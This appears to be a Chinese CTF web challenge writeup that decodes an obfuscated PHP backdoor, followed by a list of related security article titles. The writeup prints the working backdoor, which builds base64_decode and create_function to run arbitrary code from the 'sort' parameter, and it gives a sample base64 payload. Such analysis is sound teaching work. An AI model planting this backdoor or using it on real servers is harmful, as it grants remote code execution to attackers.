Raccoon——(Web)PHP 后门分析writeup

网页源代码如下：（我已经备注了很详细的注释）

<?php $z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}   //foreach循环    q1=base64_decode$v5=strrev("noi"."tcnuf"."_eta"."erc");  //strrev反转字符串  create_function('参数','函数体代码')函数主要用来创建匿名函数，$j6=$v5("",$q1($z0));    // j6 = create_function("",base64_decode(sort))$j6();   //空函数，就是在执行匿名函数的  函数体代码，要想执行phpinfo函数，于是要将    phpinfo();   进行 base64加密后 传给sort参数//  sort=cGhwaW5mbygpOw==
//foreach (array_expression as $value)
//第一种：遍历给定的 数组语句 array_expression 数组。
//每次循环中，当前单元的值被赋给 $value 并且数组内部的指针向前移一步（因此下一次循环中将会得到下一个单元）。
//foreach (array_expression as $key => $value)
//第二种：同上，同时当前单元的键名也会在每次循环中被赋给变量 $key。 ?>

Raccoon——(Web)PHP 后门分析writeup相关推荐

PhpStudy 后门分析
作者:Hcamael@知道创宇404实验室时间:2019年9月26日原文链接:https://paper.seebug.org/1044/ 背景介绍 2019/09/20,一则杭州警方通报打击涉网 ...
Web日志安全分析浅谈
一.为什么需要对日志进行分析? 随着Web技术不断发展,Web被应用得越来越广泛,所谓有价值的地方就有江湖,网站被恶意黑客攻击的频率和网站的价值一般成正比趋势,即使网站价值相对较小,也会面对" ...
plusmytag_js.php,dedecms之webshell后门分析
dedecms之webshell后门分析单位某站用的dedecms,今天被某黑阔getshell了,无奈只能打包代码进行分析,用各种webshell扫描器只扫到一个data/tplcache/xxx ...
Web日志安全分析技巧
ox01 Web日志 Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息.通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安 ...
Web会话安全分析工具ProxyStrike
Web会话安全分析工具ProxyStrike 在Web应用中,客户端发出一次请求,服务器响应一次.这构成一个完整的会话.通过分析请求和响应的数据,可以发现Web应用存在的漏洞.Kali Linux提供 ...
转: 三大WEB服务器对比分析（apache ,lighttpd,nginx） (2008年的旧文，仅供参考之用)...
from: http://www.blogjava.net/daniel-tu/archive/2008/12/29/248883.html 三大WEB服务器对比分析(apache ,lighttp ...
Captcha插件后门分析和修复
0×00 前言近日看到网上爆出wordpress官方插件captcha出现后门,大惊,本人当初千辛万苦找验证码插件,在十几个插件中选了这款,感觉还挺好用,竟然爆后门,赶紧去博客排查,还好由于安装比 ...
web前端性能分析--实践篇
当我们知道了web前端性能的关键点后,那么接下来要做的就是如何去具体实施并获取这些关键点的数据了.通过前面的学习知道了不少好的工具,经过对比后个人觉得dynatrace还是不错的. 不仅支持ie,ff ...
利用WebBrowser实现Web打印的分析
利用WebBrowser实现Web打印的分析原文:利用WebBrowser实现Web打印的分析 WebBrowser是IE内置的浏览器控件,无需用户下载.本文档所讨论的是有关IE6.0版本的WebB ...

Raccoon——(Web)PHP 后门分析writeup

Raccoon——(Web)PHP 后门分析writeup相关推荐

最新文章

热门文章